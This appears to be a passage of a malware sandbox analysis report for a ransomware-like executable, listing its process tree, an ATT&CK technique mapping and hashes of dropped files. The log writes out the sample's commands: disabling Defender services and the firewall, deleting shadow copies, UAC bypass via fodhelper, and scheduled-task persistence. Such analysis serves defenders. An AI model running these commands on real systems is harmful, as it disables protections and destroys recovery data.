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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5832
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:5656
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4332
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:1372
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1588 -
C:\Users\Admin\AppData\Local\Temp\elmcsspatterns.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\elmcsspatterns.io_hyber.exe"3⤵PID:1180
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5992
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\elmcsspatterns.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:824
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:4628
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3256 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5052
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5732
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5604
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5376 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:2408
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6088 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3852
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6020 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:1760 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:712
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4368 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:768
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:3716
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\elmcsspatterns.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2340
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:3660
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1460
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3928
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1452
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1408
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5836
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:2948
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a24055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2512
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:3120
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C:\Users\Admin\AppData\Local\Temp\elmcsspatterns.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\elmcsspatterns.io_hyber.exe1⤵PID:2768
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C:\Users\Admin\AppData\Local\Temp\elmcsspatterns.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\elmcsspatterns.io_hyber.exe1⤵PID:4864
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1220
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 52338f5d3f512b07ef25ecd317c1e726c16f5c8b8ecbadb7a691fa6ed72dbe8a
- MD5 6c5d4b5da25de2885226860df77f12ce
- SHA1 0e88bc22b6cd69b432a37687f17cf02fb68513a0
- SHA512 016e724ea60af38ed3f8a7e79015870b1b4aba7081f4a1925c9b115fb4c366308db1bcff002430bccf8b6405fcd585b2ee3935c1fdf642c311d384286fef5c02
- SSDEEP 1536:x2Rveo0zwn1+7cRMa3EJMlHP2m/QRczBczh2vcCsRSk94h2px7lKZeb:xgvQzwnA81EGHX/cczBczgUtdT7lKg
- TLSH T136632A378B27FCC5677F3D40F05439960C883D2B87B0A66CFB850A9938A5584EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 2d707c6118de021a099e20526307a96ed1ee9b9e41f1e072d1ae9fe747d7f983
- MD5 d84eb030e38f7f0af1ab9ad2b20f7519
- SHA1 a9bd0e6675a5cc87bfb56f7e0fc0cdefdaaecea4
- SHA512 25a90009599e68d56a16cc6d4da4c3ea1917916fd32394930ed83eb59ffa9ff1705d7a42758233d07a639168833598015aa1a4ed3371f830ce7e71219a5ea3b0
- SSDEEP 1536:R2Rveo0zwn1+7cRMa3EJMlHP2m/QRczBczh2vcCsRSk94h2px7lKZeS:RgvQzwnA81EGHX/cczBczgUtdT7lK7
- TLSH T114632A378B27FCC1677F3D40F06429960C883D6B8771A66CFB850E9938A9184DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 248B
- SHA256 e679ff083862b4132baa1cbaf18fd3354b26805d232cfcdcea56a769120d5187
- MD5 f02366b377d89b0cc39f4fc8e611d2ce
- SHA1 463eac6742a0d6215a89b5af3d25e833d92ad347
- SHA512 bde77c71d7349804df3603ea70d5f1eab9da8d6626be26717462d246875562b52d4ba13b7a64fa96e7ac53ec10dfc02e7a975e31ae5a3a9b5dcd5464bcd9bf1a
- TLSH T172D0A547B14DC5650011117F81F3CD8CD5B5545D3F177F7149A5DD4D319188585F5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 249B
- SHA256 a172bee37c643b4fac6f38d9f695b22ae7d1757a9a0626875a627e74bfc6f6a7
- MD5 09ff48d831b9497349d53b6d803c5537
- SHA1 bef834ad6803bf3cf75e7f7180a9af7611440856
- SHA512 d560fd23a451a4a1fb9f569eafd4ff13f1c154db39d4f8e1dd46c44987f34d3ea4121a81fe76b3e60df1696dd6f9414a65c4933ee32bc1d0b62ad647dd0cb6cb
- TLSH T1E7D0A587B14DC5650011117F80F3CD8CD5E5545D3F177F719965DD0E328184585F5543
- MD5 SHA1 SHA512 TLSH